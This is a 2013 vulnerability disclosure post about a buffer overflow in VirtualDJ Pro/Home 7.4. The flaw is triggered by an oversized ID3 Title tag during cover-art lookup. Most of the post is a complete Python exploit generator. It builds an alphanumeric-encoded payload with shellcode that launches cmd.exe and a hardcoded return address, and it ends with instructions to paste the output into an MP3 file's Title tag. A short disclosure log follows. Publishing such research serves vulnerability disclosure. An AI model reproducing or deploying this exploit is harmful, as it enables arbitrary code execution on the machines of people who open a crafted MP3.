VirtualDJ Pro/Home 7.4: Buffer Overflow
AuthorAlexandro Sanchez Date2013-04-20
I have found a buffer overflow vulnerability in VirtualDJ Pro 7.4 and VirtualDJ Home 7.4 and possibly previous versions of this software. After right-clicking a file and entering the "File Infos" > "Cover..." menu, VirtualDJ tries to find a cover for the given file on Google Images and stores the request URL in a buffer which looks like: "http://images.google.com/images?q=X"
where X
corresponds to the ID3 tag Title. Special characters of this tag are ignored, and any sequence of symbols (e.g. ' '
, '-'
, '_'
) is replaced with '+'
. The problem is once again that VirtualDJ does not check if the information stored in the ID3 tags is too big to fit in the buffer.
To exploit this vulnerability, I searched for a call esp
instruction stored in an address that could be represented with alphanumeric characters, I found such instruction in 0x444D4C64, that is, "dLMD"
. After entering this call, all the bytes after the Fake Title + Spaces + Padding + "dLMD"
will be executed. Since we can only use alphanumeric characters, we have to encode the shellcode and decode it in execution time using only bytes in range [0-9A-Za-z]
. For this purpose I used a function from ALPHA3. After that, the original shellcode will be decoded and executed.
#Exploit: VirtualDJ Pro/Home <=7.4 Buffer Overflow Vulnerability #By: Alexandro Sanchez Bach | functionmixer.blogspot.com #More info: http://www.youtube.com/watch?v=Yini294AR2Q def encodeData(decoder, data, validValues): assert data.find("\0") == -1, "Shellcode must be NULL free" data += "\0" #End of shellcode encData = decoder[-2:] decoder = decoder[:-2] for p in range(len(data)): dByte = ord(data[p]) pxByte = ord(encData[p+1]) bx, by = encoder(dByte ^ pxByte, validValues) encData += chr(bx) + chr(by) return decoder + encData def encoder(value, validValues): for bx in validValues: imul = (bx * 0x30) & 0xFF for by in validValues: if imul ^ by == value: return [bx, by] #Shellcode (e.g. run cmd.exe) shellcode = "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC" shellcode += "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45" shellcode += "\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45" shellcode += "\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45" shellcode += "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3" retAddress = "\xED\x1E\x94\x7C" # jmp ESP ntdll.dll WinXP SP2 shellcode += retAddress #Arguments fakeTitle = "Greatest Hits of the Internet - Nyan Cat" while fakeTitle[0] == " ": fakeTitle = fakeTitle[1:] while fakeTitle[-1] == " ": fakeTitle = fakeTitle[:-1] for i in fakeTitle: if i not in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz -": raise "Invalid characters in the fake title" fakeTitle2 = fakeTitle.replace("-"," ") while " " in fakeTitle2: fakeTitle2 = fakeTitle2.replace(" "," ") #Exploit exploit = fakeTitle + " "*1024 + "1"*(1026 - len(fakeTitle2)-1) exploit += "dLMD" #RETN address exploit += "XXAI" #ESP := Baseaddr of encoded payload exploit += encodeData( "TYhffffk4diFkDql02Dqm0D1CuEE", #Baseaddr of encoded payload := ESP shellcode, map(ord, list("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")) ) print exploit #Paste the generated code in the tag 'Title' of the MP3 file.
You can see a demo of this proof of concept at: https://www.youtube.com/watch?v=Yini294AR2Q.
Log
- 2013-04-07: Bug discovered. VirtualDJ was emailed about this a few days later.
- 2013-04-20: Bug ignored. Exploit published.